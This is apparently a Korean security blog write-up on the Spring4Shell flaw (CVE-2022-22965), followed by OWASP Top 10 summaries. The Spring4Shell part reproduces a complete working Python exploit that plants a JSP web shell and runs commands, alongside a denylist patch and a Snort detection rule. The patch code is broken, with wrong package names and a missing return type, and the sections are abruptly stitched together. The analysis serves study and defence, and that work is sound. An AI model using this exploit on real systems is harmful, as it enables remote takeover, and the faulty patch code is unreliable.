- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크 - 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션
2. CVE-2022-22965
- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점) - 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회 - 매개변수 바인딩 과정에서'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생 ① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출 ② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환 ③ 'class.module.classLoader'를 사용할 수 있게 됨
- 취약 조건 ① JDK 9 이상 ② Apache Tomcat 서버 ③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전 ④ spring-webmvc 또는 spring-webflux 종속성 ⑤ WAR 형태로 패키징 - 결과 'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐
2.1 공격원리
- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송
2.2 취약점 상세
- 취약한 서버 구동
git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell
- 도커 컨테이너가 정상적으로 실행되었는지 확인
- 원격의 공격자는 대상 URL에 대하여 익스플로잇
- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인
- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능
- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)
2.2 PoC 분석
# Author: @Rezn0k
# Based off the work of p1n93r
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "")
if url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
print(f"[+] Shell should be at: {location}?cmd=id")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
② Spring 프레임워크 사용 유무 확인 - 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기 - “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색 - find . -name spring-beans*.jar
③ 최신버전으로 업데이트 적용 - 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)
import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
3.2 네트워크 측면
① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정
alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)
서버 측 요청 변조(Server-Side Request Forgery, SSRF)는 2021년에 신설된 항목이다. SSRF는 서버 측에서 위조된 요청을 보내도록 하는 취약점이다. 애플리케이션이 사용자 제공 데이터에 대해 적절한 검증 없이 사용할 경우 서버로 하여금 공격자가 강제한 제어 동작을 수행하게 된다.
대응방안으로는 클라이언트가 제공한 입력값을 검증하도록 하고, 클라이언트 요청에 대한 응답을 전송하기 전에 서버측에서 결과를 검증한다. 또한, 방화벽을 통해 접근제어 규칙을 적용하여 네으퉈크단에서 필터링을 수행한다.
취약점 유형
사용자 입럭 데이터에 대한 적절한 검증없이 로컬 혹은 원격 리소스에 접근하도록 하는 경우
공격 시나리오
추후 업로드 예정
대응방안
내부 네트워크간 통신의 경우에도 방화벽을 통해 접근통제 규칙을 적용 모든 사용자 입력 데이터에 대한 검증 클라이언트 요청 수행 후 응답에 대해 서버측 결과 검증
소프트웨어 및 데이터 무결성 오류(Software and Data Integrity Failures)는 OWASP TOP 10 2017에서는 A08로 소개된 안전하지 않은 역직렬화(Insecure deserialization)를 포함해 2021에서 신설된 항목이다.
애플리케이션이 신뢰할 수 없는 소스, 저장소 및 CDN의 플러그인, 라이브러리 또는 모듈에 의존하는 경우 발생할 수 있다. 충분한 무결성 검증 없이 수행되는 자동 업데이트 기능을 악용해 공격자가 직접 업데이트를 업로드해 조작된 파일을 배포하고 설치, 실행 할 수 있다.
대응 방안으로는 신뢰할 수 있는 라이브러리를 사용하고, 전자서명이나 해시를 통해 무결성을 확인한다. 또한,CI/CD(Continuous Integration/Continuous Deliver_지속적 통합/지속적 제공) 파이프라인의 경우 개발 및 배포 과정에서 변조되면 무결성이 훼손될 가능성이 있으므로, 무결성 검증 과정을 추가해야한다.
취약점 유형
사용중인 라이브러리에 무결성 검증 기능이 없어 변조가 가능한 경우 업데이트에 대한 검증이 없는 경우 - 공급망 공격 가능 CI/CD 파이프라인에 대한 보안성 검토가 부족하거나 없는 경우 직렬화된 데이터에 대한 무결성 검증이 없는 경우
공격 시나리오
공격자는 공급망 공격(시스템 및 데이터에 접속할 수 있는 외부 협렵업체나 공급업체를 통해 시스템에 침투하여 합법적인 앱 감염 후 멀웨어 배포)을 통해 시스템을 장악한 후 인증서 탈취, 코드 패치, 업데이트 위장 등의 방식으로 악성코드를 업로드할 수 있다. 악성코드는 정상 파일로 위장되어 배포되고, 사용자들이 이를 다운로드하면서, 악성코드 감염 및 추가 공격을 수행할 수 있다.
대응방안
전자서명, 해시 알고리즘을 통한 무결성 검증 사용중인 라이브러리에 대한 신뢰성 확인 및 중요한 서비스일 경우 내부 라이브러리 사용 CI/CD 파이프라인에 대한 보안성 검토 직렬화된 데이터에 대한 무결성 검증 수행
식별 및 인증 실패(Identification and Authentication Failures)는 OWASP TOP 10 2017에서는 A02으로 소개된 취약한 인증(Broken Authentication)를 포함해 2021에서는 A07로 소개되었다. 2017 대비 조금 더 넓은 의미를 포함한다.
대응 방안으로는 2중 인증을 구현하고, 비밀번호 설정 정책을 적용하고, 다수 로그인 실패 시 계정 잠금을 통해 지속적인 비인가 로그인 시도를 예방한다. 임의의 랜덤한 값으로 세션 ID를 생성해 부여하고, 암호화된 채널을 통해 전송 및 세션 ID를 재사용하지않고 폐기해야 한다.
취약점 유형
유효한 계정 목록을 가지고 있는 경우 Brute Forcing 등 자동화된 공격을 시도, 허용하는 경우 기본 계정 정보를 사용하는 경우 다중 인증이 존재하지 않는 경우 URL에 세션 ID를 노출하는 경우(GET Method) 세션 ID를 재사용하거나 만료된 세션 ID를 파기하지 않는 경우
공격 시나리오
유효한 계정 목록을 가진 공격자는 자동화 툴을 사용해 Brute Force 공격을 시도할 수 있고, 이때 , admin/admin 등 기본 계정 정보나 잘 알려진 계정 정보를 사용하고 있는 경우 공격자는 계정을 탈취해 임의의 명령을 수행하는 등 악의적인 행위를 수행할 수 있다.
대응방안
다중 인증 구현 기본 계정 정보를 사용 금지 안전한 패스워드 설정 정책 생성 및 인증 실패 횟수 제한 적용 임의의 랜덤한 세션 ID 생성, 암호화 채널 등 안전한 전송 수단을 통한 전송 및 재사용 금지와 만료된 세션 ID 파기
취약하고 오래된 구성 요소(Vulnerable and Outdated Components)는 취약한 버전이나 EoS, EoL(기술 지원 종료)인 소프트웨어를 계속 사용하는 경우 발생가능한 유형이다. 서비스를 구성하는 모든 요소(OS, WEB, DB, API 등)가 영향을 받는다.
대응방안으로는, 형상관리를 통해 불필요한 서비스를 제거하고, 버전 정보를 확인하여 최신 버전으로 업데이트를 적용한다. 또한, 모니터링을 통해 취약점이 발생한 버전을 확인하여 조치한다. 추가적으로, 애플리케이션 또는 포트폴리오의 수명 주기 동안 업데이트 또는 구성 변경을 모니터링, 분류 및 적용하기 위한 지속적인 계획을 수립해야 한다.
취약점 유형
기술 지원 종료된 OS를 사용하는 경우 취약점이 존재하는 애플리케이션, 프레임워크, 라이브러리 등을 사용하는 경우
공격 시나리오
취약한 버전의 아파치 스트럿츠 2(Apache struts 2)를 사용하고 있는 경우, 원격의 공격자가 서버를 공격해 원격코드를 실행할 수 있다.
대응방안
불필요한 소프트웨어나 서비스, 기능, 문서 등 제거 패치 관리, 형상 관리 프로세스 정립 - 소프트웨어 버전 확인 및 업그레이드 취약점 모니터링을 통한 취약한 소프트웨어 사용 유무 확인